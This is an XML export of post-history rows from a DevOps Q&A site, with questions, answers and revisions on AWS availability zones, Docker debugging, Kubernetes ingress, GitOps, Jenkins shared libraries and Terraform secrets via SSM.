4.0" />
  <row Id="27256" PostHistoryTypeId="2" PostId="9254" RevisionGUID="18b8a40e-ae6b-4a0e-8f2f-282259ac7a11" CreationDate="2019-09-24T02:40:37.017" UserId="15792" Text="**First a primer on [regions and availability zones][1]** &#xD;&#xA;&#xD;&#xA;Regions are physical places where the AWS resources are located.  As such different regions may offer different resources.  This is also important for latency-sensitive operations and data sovereignty laws.  Having an EC2 instance in the us-east region means all of my instance resources are in that region of the United States.&#xD;&#xA;&#xD;&#xA;Availability Zones, while in the same geographic area, may be backed by one or multiple data centers.  However, if you have an EC2 instance running in two availability zones, they will run in separate data centers.  So an EC2 instance in us-east-1 and us-east-2 will be in two separate data centers.&#xD;&#xA;&#xD;&#xA;Imagine you have a mission critical application that needs high availability.  By setting up a load balancer (controlled by the region and not the availability zone) you can help scale your application across multiple availability zones and redirect traffic if something happens to an availability zone.  This helps create a highly available infrastructure.&#xD;&#xA;&#xD;&#xA;To answer your three examples:&#xD;&#xA;&#xD;&#xA; - Computational availability is not really a factor.  You could always throw a larger instance (or multiple instances in the same availability zone) to decrease load.&#xD;&#xA; - While you could use multiple zones for rolling out upgrades, this can also be done within the same availability zone.&#xD;&#xA; - Your third point here is the main draw to the availability zones.  If a data center catches on fire, floods, gets hit by a meteor and all your EC2 instances are tied to that center then you would be unable to access whatever application you had running.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-regions-availability-zones" ContentLicense="CC BY-SA 4.0" />
  <row Id="27257" PostHistoryTypeId="50" PostId="8983" RevisionGUID="355d6046-402c-4bbf-820e-00677eff5b2c" CreationDate="2019-09-24T07:02:15.307" UserId="-1" />
  <row Id="27261" PostHistoryTypeId="2" PostId="9256" RevisionGUID="df18a55c-5ed2-4101-9a11-8750be5b07b9" CreationDate="2019-09-24T07:27:05.723" UserId="354" Text="Hi! I'm Bruce. I hail from Cape Town, South Africa, but now I live on an island in Italy. I am a physicist by training, and have gotten a lot of mileage out of the scientific method, which I now apply in the private sector.&#xD;&#xA;&#xD;&#xA;Over a 10 year career as a Research Infrastructure Engineer in SA I've seen a lot -- like... **a lot** -- of wierd things. Strange organisational hierarchies, weird technology choices, bloat, graft, you name it. I've made many of these mistakes myself :)&#xD;&#xA;&#xD;&#xA;I've also worked for EU infrastructure projects and initiatives too, and yes, I've seen the same tragic faith in outdated believes drive good ideas into the ground.&#xD;&#xA;DevOps culture emerged as a &quot;solution&quot; to some of these &quot;problems&quot;, and when I see it working, it gives me feels.&#xD;&#xA;I care about the fluffy parts of DevOps, and about choosing the _right tools for the job_ -- something which I believe this Q&amp;A can address.&#xD;&#xA;Tools, practice, methodology - I care about the quality of of these and their impact on the lives of the people in our community.&#xD;&#xA;&#xD;&#xA;Vote for me and I'll commit to &#xD;&#xA;- visit this site every day for a year&#xD;&#xA;- moderate every question&#xD;&#xA;- consider every post's quality and&#xD;&#xA;- welcome new people" ContentLicense="CC BY-SA 4.0" />
  <row Id="27262" PostHistoryTypeId="2" PostId="9257" RevisionGUID="fd32e18a-73af-4d66-a8d6-ef7cffcbddba" CreationDate="2019-09-24T07:36:16.657" UserId="16979" Text="After trying many things, I came to know that I needed to expose the port of my application's container in order to let Prometheus or other deployments to know. After exposing the port, I could see my application under targets on Prometheus and I could scrape all JMX and JVM metrics. Hope this would help someone in future..." ContentLicense="CC BY-SA 4.0" />
  <row Id="27264" PostHistoryTypeId="2" PostId="9258" RevisionGUID="02726f45-2455-4655-bcb3-5b7bcd219d72" CreationDate="2019-09-24T07:51:16.130" UserId="17219" Text="Review the containers' output in your terminal. If it was run in detached mode (with `-d` flag) then the you can review its output using `docker container logs &lt;container name&gt;`.&#xD;&#xA;&#xD;&#xA;If the container doesn't behave as planned but also doesn't exit, you may want to diagnose parts of your application from inside the container. You can do this by creating an interactive shell inside it with the command: `docker container exec -it &lt;container name&gt; sh`.&#xD;&#xA;&#xD;&#xA;Another way to interact with the container's file system would be to mount some of its content on the host machine, then you will have it available to any tools you might want to use from your machine. This can be done by adding the option `-v /path/on/host:/path/in/container` when running the image.&#xD;&#xA;&#xD;&#xA;For a more focused answer, it will help if you provide an example of what Error or behavior occurs.&#xD;&#xA;Good luck!" ContentLicense="CC BY-SA 4.0" />
  <row Id="27265" PostHistoryTypeId="2" PostId="9259" RevisionGUID="b6c2fe37-0ab5-4202-91c7-96e1fa093157" CreationDate="2019-09-24T08:02:40.703" UserId="17219" Text="A side-note (sorry, I haven't got enough reputation to post direct comments yet):&#xD;&#xA;I see you are basing your image off of Ubuntu (`FROM ubuntu:bionic`) and then installing Apache... I would suggest using an image that's already tailored for this function, such as [the Apache HTTP Server][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/httpd" ContentLicense="CC BY-SA 4.0" />
  <row Id="27266" PostHistoryTypeId="2" PostId="9260" RevisionGUID="c604ee8a-d623-4360-ad94-fc363d7249d0" CreationDate="2019-09-24T08:07:54.563" UserId="17244" Text="I'd like to see wich `Roles` in `iam` yield a certain permission.&#xD;&#xA;In other words, for a given permission (like `billing.accounts.updateUsageExportSpec`) I want to know a list of `Roles`, that satisfy this permission" ContentLicense="CC BY-SA 4.0" />
  <row Id="27267" PostHistoryTypeId="1" PostId="9260" RevisionGUID="c604ee8a-d623-4360-ad94-fc363d7249d0" CreationDate="2019-09-24T08:07:54.563" UserId="17244" Text="See which Roles contain a GCLOUD Permisson" ContentLicense="CC BY-SA 4.0" />
  <row Id="27268" PostHistoryTypeId="3" PostId="9260" RevisionGUID="c604ee8a-d623-4360-ad94-fc363d7249d0" CreationDate="2019-09-24T08:07:54.563" UserId="17244" Text="&lt;google-cloud-platform&gt;&lt;cloud&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27269" PostHistoryTypeId="5" PostId="9260" RevisionGUID="9ef0669a-27d8-4025-822d-ee211115a2dd" CreationDate="2019-09-24T09:41:01.497" UserId="40" Comment="added 1 character in body" Text="I'd like to see wich `Roles` in `iam` yield a certain permission.&#xD;&#xA;In other words, for a given permission (like `billing.accounts.updateUsageExportSpec`) I want to know a list of `Roles`, that satisfy this permission." ContentLicense="CC BY-SA 4.0" />
  <row Id="27271" PostHistoryTypeId="2" PostId="9261" RevisionGUID="decfac4b-033c-4199-bd60-39c314b8b4fe" CreationDate="2019-09-24T13:57:31.253" UserId="17255" Text="Looks like only the `roles/billing.admin`:&#xD;&#xA;https://cloud.google.com/iam/docs/understanding-roles#billing-roles" ContentLicense="CC BY-SA 4.0" />
  <row Id="27272" PostHistoryTypeId="2" PostId="9262" RevisionGUID="5da55e2c-2deb-491e-b4b5-2dca3e3478c1" CreationDate="2019-09-24T14:04:09.690" UserId="17255" Text="I would suggest at least one for production and one for npe.  The nginx-ingress helm chart appears to only support setting a scope to all namespaces or just one namespace (a frustrating limitation not in other ingress controller options):&#xD;&#xA;&#xD;&#xA;https://github.com/helm/charts/tree/master/stable/nginx-ingress&#xD;&#xA;&#xD;&#xA;`controller.scope.namespace`" ContentLicense="CC BY-SA 4.0" />
  <row Id="27273" PostHistoryTypeId="2" PostId="9263" RevisionGUID="1b266b7a-8db0-485c-9d59-e2e68745e5d5" CreationDate="2019-09-24T14:25:18.373" UserId="17256" Text="I have a Minikube installation in which I created a simple hello-world deployment like this:&#xD;&#xA;&#xD;&#xA;    kubectl create deployment hello-node \&#xD;&#xA;        --image=gcr.io/hello-minikube-zero-install/hello-node&#xD;&#xA;&#xD;&#xA;I exposed the deployment via a service in the following way:&#xD;&#xA;&#xD;&#xA;    kubectl expose deployment hello-node --type=LoadBalancer --port=8080&#xD;&#xA;Now If I call: `http://&lt;local cluster ip&gt;:8080` it prints &quot;Hello World!&quot; as expected.&#xD;&#xA;&#xD;&#xA;**What I want to achieve:**&#xD;&#xA;&#xD;&#xA;I want to expose different deployments in the same cluster to different sub-domains of the cluster. For instance, deployment `hello1` to `hello1.my-k8-cluster.com`, `hello2` to `hello2.my-k8-cluster.com`.&#xD;&#xA;&#xD;&#xA;I want to test this locally because later I will do the same on a real cluster.&#xD;&#xA;&#xD;&#xA;**Question:** How to test DNS configurations of services locally? How to define sub-domains in services?&#xD;&#xA;&#xD;&#xA;**What I tried so far:**&#xD;&#xA;I went through the how-to guides [here][1] and [the documentation][2] which though didn't bring me a clear picture on how to configure what I want.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tutorials/hello-minikube/#create-a-deployment&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/services-networking/service/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27274" PostHistoryTypeId="1" PostId="9263" RevisionGUID="1b266b7a-8db0-485c-9d59-e2e68745e5d5" CreationDate="2019-09-24T14:25:18.373" UserId="17256" Text="Kubernetes expose an app via a DNS name in minicube" ContentLicense="CC BY-SA 4.0" />
  <row Id="27275" PostHistoryTypeId="3" PostId="9263" RevisionGUID="1b266b7a-8db0-485c-9d59-e2e68745e5d5" CreationDate="2019-09-24T14:25:18.373" UserId="17256" Text="&lt;kubernetes&gt;&lt;minikube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27276" PostHistoryTypeId="2" PostId="9264" RevisionGUID="1fd19d0b-3a9c-4430-ba13-3ca53c81c723" CreationDate="2019-09-24T14:41:30.477" UserId="15792" Text="The approach I've seen work for this is to use Nginx as the LoadBalancer and defining the Ingress with type NodePort for the different services.  You can see a tutorial that shows the first steps for setting this up [here][1].&#xD;&#xA;&#xD;&#xA;Additionally, the official docs [DNS for Service and Pods][2] and [Customizing DNS Service][3] are good resources.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/@awkwardferny/getting-started-with-kubernetes-ingress-nginx-on-minikube-d75e58f52b6c&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/&#xD;&#xA;  [3]: https://kubernetes.io/docs/tasks/administer-cluster/dns-custom-nameservers/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27277" PostHistoryTypeId="5" PostId="9214" RevisionGUID="9f82e5f5-6bc3-4cf3-9fcc-1a4ecb2e655c" CreationDate="2019-09-24T15:29:59.377" UserId="17181" Comment="Added illustrative screenshots" Text="I'm trying to set up an Azure DevOps pipeline to build a macOS app. I think I have all the necessary steps in place, and it runs as far as I expect it to for now.&#xD;&#xA;&#xD;&#xA;However, I now have reached the step where, in order to sign the product, the build machine device must be included in our provisioning profiles, which means we have to add its UUID to the list of devices in Apple Developer.&#xD;&#xA;&#xD;&#xA;[![Two errors dictating that the profile doesn't include the device][1]][1]&#xD;&#xA;&#xD;&#xA;How do I get this pipeline to use this profile? I imagine a solution might involve one of these:&#xD;&#xA;&#xD;&#xA; - There's a way to find the UUIDs of every Mac which might run the pipeline&#xD;&#xA; - There's a way to restrict that pipeline to always use the same Mac with the same UUID&#xD;&#xA; - There's a way to specify/spoof the UUID of the build machine&#xD;&#xA; - There's an API or something to register the build machine with Apple Developer at build time&#xD;&#xA; - Azure DevOps has a special way to circumvent this part of the build process while still allowing signing&#xD;&#xA; - Apple has some special way I don't know about to allow an arbitrary build machine to sign without knowing its UUID beforehand&#xD;&#xA;&#xD;&#xA;I've looked around for all these and can't find definitive info for any of them. **Does anyone know the best practice for signing an Xcode project pipeline in Azure DevOps using a specific set of provisioning profiles?**&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Our certs and profiles are stored in Azure's &quot;Secure files&quot; section:&#xD;&#xA;&#xD;&#xA;[![Two `p12` and four `provisionprofile` files in Azure's &quot;Secure files&quot; section][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And referenced in the pipeline's build steps:&#xD;&#xA;&#xD;&#xA;[![Several Xcode steps in Azure. The selected one is &quot;Install provisioning profile&quot; where one of the above-shown provisioning profiles is installed to the build machine.][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Zn0hp.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/wNryT.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/TiLR6.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27283" PostHistoryTypeId="6" PostId="9218" RevisionGUID="1fc185c6-1775-499c-a3ae-2d99e2bd0f13" CreationDate="2019-09-24T19:11:42.220" UserId="739" Comment="replace api tag with amazon-ecs" Text="&lt;amazon-web-services&gt;&lt;python&gt;&lt;nginx&gt;&lt;amazon-ecs&gt;&lt;flask&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27284" PostHistoryTypeId="2" PostId="9267" RevisionGUID="377a9e25-e182-4dab-8eca-595bfef4e422" CreationDate="2019-09-24T19:47:14.447" UserId="17259" Text="I am hearing nowadays lot about GitOps. What was the difference between DevOps and GitOps?&#xD;&#xA;&#xD;&#xA;&gt; Was it just the SCM does the build and deploy when there was a commit&#xD;&#xA;&gt; instead of CI/CD tool exclusively. Correct me" ContentLicense="CC BY-SA 4.0" />
  <row Id="27285" PostHistoryTypeId="1" PostId="9267" RevisionGUID="377a9e25-e182-4dab-8eca-595bfef4e422" CreationDate="2019-09-24T19:47:14.447" UserId="17259" Text="What was the difference between DevOps and GitOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="27286" PostHistoryTypeId="3" PostId="9267" RevisionGUID="377a9e25-e182-4dab-8eca-595bfef4e422" CreationDate="2019-09-24T19:47:14.447" UserId="17259" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;scm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27287" PostHistoryTypeId="2" PostId="9268" RevisionGUID="ce007ab4-2cbc-444f-b40b-5c74770ef366" CreationDate="2019-09-24T20:25:23.883" UserId="15792" Text="GitOps is a technique of using Git to manage infrastructure provisioning and software deployments.  This technique uses many of the features of Git such as Pull Requests to manage and trigger deployments, and allows &quot;diffing&quot; (looking at the difference between commits) to view the differences between deployments.&#xD;&#xA;&#xD;&#xA;DevOps is more of a culture or philosophy.  It is not tied to the specific tool Git.  Instead, DevOps is the joining of Development (Dev) and System Operations (Ops).  Often continuous integration and continuous deployment are big focuses of companies that invest in a DevOps culture.&#xD;&#xA;&#xD;&#xA;A company that has a DevOps culture may choose to use a technique like GitOps to manage their infrastructure.  They may choose to use other tools though." ContentLicense="CC BY-SA 4.0" />
  <row Id="27288" PostHistoryTypeId="5" PostId="9267" RevisionGUID="d40a1e76-3ac9-4de3-8d7e-25f9e74e3126" CreationDate="2019-09-24T20:29:05.903" UserId="15792" Comment="Edited for clarity and removed quote from question" Text="I am hearing nowadays lot about GitOps. What was the difference between DevOps and GitOps?&#xD;&#xA;&#xD;&#xA;Is it just the SCM does the build and deploy when there is a commit instead of the CI/CD tool exclusively?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27289" PostHistoryTypeId="24" PostId="9267" RevisionGUID="d40a1e76-3ac9-4de3-8d7e-25f9e74e3126" CreationDate="2019-09-24T20:29:05.903" Comment="Proposed by 15792 approved by 13 edit id of 1074" ContentLicense="CC BY-SA 4.0" />
  <row Id="27290" PostHistoryTypeId="2" PostId="9269" RevisionGUID="4b06a0ea-1bdf-4ecd-b8a1-9922666cc3ec" CreationDate="2019-09-25T00:24:24.180" UserId="17270" Text="When using a Kubernetes `LoadBalancer` or `Ingress`, is the normal `NodePort` used as the underlying connection point? I.e. does the external-to-kubernetes load balancer implementation (used even when `Ingress` is in play) communicate with the `Service` in the cluster via `NodePort` or is there some other &quot;magic&quot; way that is used?&#xD;&#xA;&#xD;&#xA;I ask because in reading about kubernetes, I have found some sources that have almost implied that `NodePort` is somehow unreliable (&quot;if you don't need your services to be available all the time&quot;), and if `NodePort` is the mechanism underlying other load balancer implementations, then it should be safe to use, given an understanding of its particularities." ContentLicense="CC BY-SA 4.0" />
  <row Id="27291" PostHistoryTypeId="1" PostId="9269" RevisionGUID="4b06a0ea-1bdf-4ecd-b8a1-9922666cc3ec" CreationDate="2019-09-25T00:24:24.180" UserId="17270" Text="Does Kubernetes Ingress use NodePort?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27292" PostHistoryTypeId="3" PostId="9269" RevisionGUID="4b06a0ea-1bdf-4ecd-b8a1-9922666cc3ec" CreationDate="2019-09-25T00:24:24.180" UserId="17270" Text="&lt;kubernetes&gt;&lt;ingress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27293" PostHistoryTypeId="2" PostId="9270" RevisionGUID="aa9d5184-75ef-4d04-8e73-4708e601fcbe" CreationDate="2019-09-25T02:50:42.850" UserId="15792" Text="**For your first question:**&#xD;&#xA;&#xD;&#xA;&gt; When using a Kubernetes LoadBalancer or Ingress, is the normal&#xD;&#xA;&gt; NodePort used as the underlying connection point?&#xD;&#xA;&#xD;&#xA;Technically it depends on the cloud network for LoadBalancers (e.g. Google Compute Engine does not technically require this although one may be created).  However, I believe a NodePort and ClusterIP are generally created.&#xD;&#xA;&#xD;&#xA;**For your question on the usage of NodePorts:**&#xD;&#xA;&#xD;&#xA;The short answer is yes, they are safe to use if you know what you are doing.&#xD;&#xA;&#xD;&#xA;The longer answer is that [NodePorts][1] are great for debugging and development but have some issues in production:&#xD;&#xA;&#xD;&#xA; - You can only have one service on a port.&#xD;&#xA; - HTTP/HTTPS traffic may be routed through a non-standard port.&#xD;&#xA; - The port will be opened on *all* nodes.&#xD;&#xA;&#xD;&#xA;However, NodePorts do provide some nice flexibility (from [Kubernetes documentation][2]):&#xD;&#xA;&#xD;&#xA;&gt; Using a NodePort gives you the freedom to set up your own load balancing solution, to configure environments that are not fully supported by Kubernetes, or even to just expose one or more nodes’ IPs directly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/services-networking/service/#nodeport" ContentLicense="CC BY-SA 4.0" />
  <row Id="27294" PostHistoryTypeId="5" PostId="9254" RevisionGUID="127b422f-6bba-430e-a76f-60b1ddd69db4" CreationDate="2019-09-25T02:54:02.870" UserId="15792" Comment="Labels for AZs were wrong and instead showed regions" Text="**First a primer on [regions and availability zones][1]** &#xD;&#xA;&#xD;&#xA;Regions are physical places where the AWS resources are located.  As such different regions may offer different resources.  This is also important for latency-sensitive operations and data sovereignty laws.  Having an EC2 instance in the us-east-1 region means all of my instance resources are in that region of the United States.&#xD;&#xA;&#xD;&#xA;Availability Zones, while in the same geographic area, may be backed by one or multiple data centers.  However, if you have an EC2 instance running in two availability zones, they will run in separate data centers.  So an EC2 instance in us-east-1a and us-east-1b will be in two separate data centers.&#xD;&#xA;&#xD;&#xA;Imagine you have a mission critical application that needs high availability.  By setting up a load balancer (controlled by the region and not the availability zone) you can help scale your application across multiple availability zones and redirect traffic if something happens to an availability zone.  This helps create a highly available infrastructure.&#xD;&#xA;&#xD;&#xA;To answer your three examples:&#xD;&#xA;&#xD;&#xA; - Computational availability is not really a factor.  You could always throw a larger instance (or multiple instances in the same availability zone) to decrease load.&#xD;&#xA; - While you could use multiple zones for rolling out upgrades, this can also be done within the same availability zone.&#xD;&#xA; - Your third point here is the main draw to the availability zones.  If a data center catches on fire, floods, gets hit by a meteor and all your EC2 instances are tied to that center then you would be unable to access whatever application you had running.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-regions-availability-zones" ContentLicense="CC BY-SA 4.0" />
  <row Id="27296" PostHistoryTypeId="2" PostId="9271" RevisionGUID="6b876da1-b07e-4483-99d9-bef1e2e2deed" CreationDate="2019-09-25T05:55:35.037" UserId="4852" Text="I agree with [Omir][1] that you are heading the wrong way. I would recommend to use a [shared library][2] which implements the pipeline. You would than have a simple Jenkins file which looks all the same. See https://jenkins.io/blog/2017/10/02/pipeline-templates-with-shared-libraries/&#xD;&#xA;&#xD;&#xA;Let's say you have a shared library which contains a `vars/commonpipeline.groovy` which contains something like this&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def call(body) {&#xD;&#xA;    // evaluate the body block, and collect configuration into the object&#xD;&#xA;    pipelineParams= [:]&#xD;&#xA;    body.resolveStrategy = Closure.DELEGATE_FIRST&#xD;&#xA;    body.delegate = pipelineParams&#xD;&#xA;    body()&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            label pipelineParams.nodes&#xD;&#xA;        }&#xD;&#xA;        options {&#xD;&#xA;            buildDiscarder(logRotator(artifactNumToKeepStr: '1', numToKeepStr: '10'))&#xD;&#xA;            disableConcurrentBuilds()&#xD;&#xA;            timestamps()&#xD;&#xA;            timeout(time: pipelineParams.timeout, unit: 'MINUTES')&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stages {&#xD;&#xA;            stage('Build') {&#xD;&#xA;                steps {&#xD;&#xA;                    //TO SOMETHING&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then you can habe a Jenkins file in your dev project which loads the library and uses the common pipeline&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;import org.apache.commons.io.FileUtils&#xD;&#xA;library identifier: 'shared-pipeline-library@master', retriever: modernSCM(&#xD;&#xA;  [$class: 'GitSCMSource',&#xD;&#xA;       remote: 'https://bitbuckez/jenkins/hared-pipeline-library.git',&#xD;&#xA;       credentialsId: 'bitbucket.service.user'&#xD;&#xA;  ])&#xD;&#xA;&#xD;&#xA;ciPipelineMaven {&#xD;&#xA;    nodes     = 'DEVOPS' /* label of jenkins nodes*/&#xD;&#xA;    timeout   = '60'&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/17225/omri-spector&#xD;&#xA;  [2]: https://jenkins.io/doc/book/pipeline/shared-libraries/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27297" PostHistoryTypeId="5" PostId="9271" RevisionGUID="13247621-2073-4c15-8721-277e8985108a" CreationDate="2019-09-25T09:35:20.497" UserId="10" Comment="fixed omri's name, some grammar." Text="I agree with [Omri][1] that you are heading the wrong way. I would recommend using a [shared library][2] which implements the pipeline. You would then have a simple Jenkins file which looks all the same. See https://jenkins.io/blog/2017/10/02/pipeline-templates-with-shared-libraries/&#xD;&#xA;&#xD;&#xA;Let's say you have a shared library which contains a `vars/commonpipeline.groovy` which contains something like this&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def call(body) {&#xD;&#xA;    // evaluate the body block, and collect configuration into the object&#xD;&#xA;    pipelineParams= [:]&#xD;&#xA;    body.resolveStrategy = Closure.DELEGATE_FIRST&#xD;&#xA;    body.delegate = pipelineParams&#xD;&#xA;    body()&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            label pipelineParams.nodes&#xD;&#xA;        }&#xD;&#xA;        options {&#xD;&#xA;            buildDiscarder(logRotator(artifactNumToKeepStr: '1', numToKeepStr: '10'))&#xD;&#xA;            disableConcurrentBuilds()&#xD;&#xA;            timestamps()&#xD;&#xA;            timeout(time: pipelineParams.timeout, unit: 'MINUTES')&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stages {&#xD;&#xA;            stage('Build') {&#xD;&#xA;                steps {&#xD;&#xA;                    //TO SOMETHING&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then you can habe a Jenkins file in your dev project which loads the library and uses the common pipeline&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;import org.apache.commons.io.FileUtils&#xD;&#xA;library identifier: 'shared-pipeline-library@master', retriever: modernSCM(&#xD;&#xA;  [$class: 'GitSCMSource',&#xD;&#xA;       remote: 'https://bitbuckez/jenkins/hared-pipeline-library.git',&#xD;&#xA;       credentialsId: 'bitbucket.service.user'&#xD;&#xA;  ])&#xD;&#xA;&#xD;&#xA;ciPipelineMaven {&#xD;&#xA;    nodes     = 'DEVOPS' /* label of jenkins nodes*/&#xD;&#xA;    timeout   = '60'&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/17225/omri-spector&#xD;&#xA;  [2]: https://jenkins.io/doc/book/pipeline/shared-libraries/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27298" PostHistoryTypeId="24" PostId="9271" RevisionGUID="13247621-2073-4c15-8721-277e8985108a" CreationDate="2019-09-25T09:35:20.497" Comment="Proposed by 10 approved by -1 edit id of 1075" ContentLicense="CC BY-SA 4.0" />
  <row Id="27299" PostHistoryTypeId="5" PostId="9271" RevisionGUID="d08e4bc2-f751-4b8b-b8d6-89d7608ae14c" CreationDate="2019-09-25T09:35:20.497" UserId="40" Comment="added 12 characters in body" Text="I agree with [Omri][1] that you are heading the wrong way. I would recommend using a [shared library][2] which implements the pipeline. You would then have a simple Jenkins file which looks all the same. See https://jenkins.io/blog/2017/10/02/pipeline-templates-with-shared-libraries/&#xD;&#xA;&#xD;&#xA;Let's say you have a shared library which contains a `vars/commonpipeline.groovy` which contains something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def call(body) {&#xD;&#xA;    // evaluate the body block, and collect configuration into the object&#xD;&#xA;    pipelineParams= [:]&#xD;&#xA;    body.resolveStrategy = Closure.DELEGATE_FIRST&#xD;&#xA;    body.delegate = pipelineParams&#xD;&#xA;    body()&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            label pipelineParams.nodes&#xD;&#xA;        }&#xD;&#xA;        options {&#xD;&#xA;            buildDiscarder(logRotator(artifactNumToKeepStr: '1', numToKeepStr: '10'))&#xD;&#xA;            disableConcurrentBuilds()&#xD;&#xA;            timestamps()&#xD;&#xA;            timeout(time: pipelineParams.timeout, unit: 'MINUTES')&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stages {&#xD;&#xA;            stage('Build') {&#xD;&#xA;                steps {&#xD;&#xA;                    //TO SOMETHING&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then you can habe a Jenkins file in your dev project which loads the library and uses the common pipeline like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;import org.apache.commons.io.FileUtils&#xD;&#xA;library identifier: 'shared-pipeline-library@master', retriever: modernSCM(&#xD;&#xA;  [$class: 'GitSCMSource',&#xD;&#xA;       remote: 'https://bitbuckez/jenkins/hared-pipeline-library.git',&#xD;&#xA;       credentialsId: 'bitbucket.service.user'&#xD;&#xA;  ])&#xD;&#xA;&#xD;&#xA;ciPipelineMaven {&#xD;&#xA;    nodes     = 'DEVOPS' /* label of jenkins nodes*/&#xD;&#xA;    timeout   = '60'&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/17225/omri-spector&#xD;&#xA;  [2]: https://jenkins.io/doc/book/pipeline/shared-libraries/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27300" PostHistoryTypeId="2" PostId="9272" RevisionGUID="4fd15010-0271-466b-ba02-ec526e7f7041" CreationDate="2019-09-25T10:11:58.803" UserId="17276" Text="Is there a way to only have an encrypted version of my RDS password in my Terraform code and for AWS to decrypt it for the RDS so you use the decrypted password to login to the RDS?&#xD;&#xA;&#xD;&#xA;So set my rdspassword variable value to the encripted password and when terraform builds the RDS I login in useing the unencripted password?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27301" PostHistoryTypeId="1" PostId="9272" RevisionGUID="4fd15010-0271-466b-ba02-ec526e7f7041" CreationDate="2019-09-25T10:11:58.803" UserId="17276" Text="How do I use only an encrypted version of my AWS RDS password in my terraform code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27302" PostHistoryTypeId="3" PostId="9272" RevisionGUID="4fd15010-0271-466b-ba02-ec526e7f7041" CreationDate="2019-09-25T10:11:58.803" UserId="17276" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;encryption&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27304" PostHistoryTypeId="50" PostId="8989" RevisionGUID="ecc1a7ab-a845-4549-845c-0ef812f36927" CreationDate="2019-09-25T13:02:40.393" UserId="-1" />
  <row Id="27308" PostHistoryTypeId="2" PostId="9274" RevisionGUID="3be998bd-6afa-4016-b650-d056915e4ec3" CreationDate="2019-09-25T13:40:58.670" UserId="4328" Text="If I am understanding your question correctly, what you are describing sounds like a perfect use case for SSM. You can store your RDS password as a [secure string parameter encrypted by KMS][1], then reference it in you terraform file as a [data source][2] with decryption.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    data &quot;aws_ssm_parameter&quot; &quot;foo&quot; {&#xD;&#xA;      name = &quot;foo&quot;&#xD;&#xA;      with_decryption = true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/kms/latest/developerguide/services-parameter-store.html&#xD;&#xA;  [2]: https://www.terraform.io/docs/providers/aws/d/ssm_parameter.html" ContentLicense="CC BY-SA 4.0" />
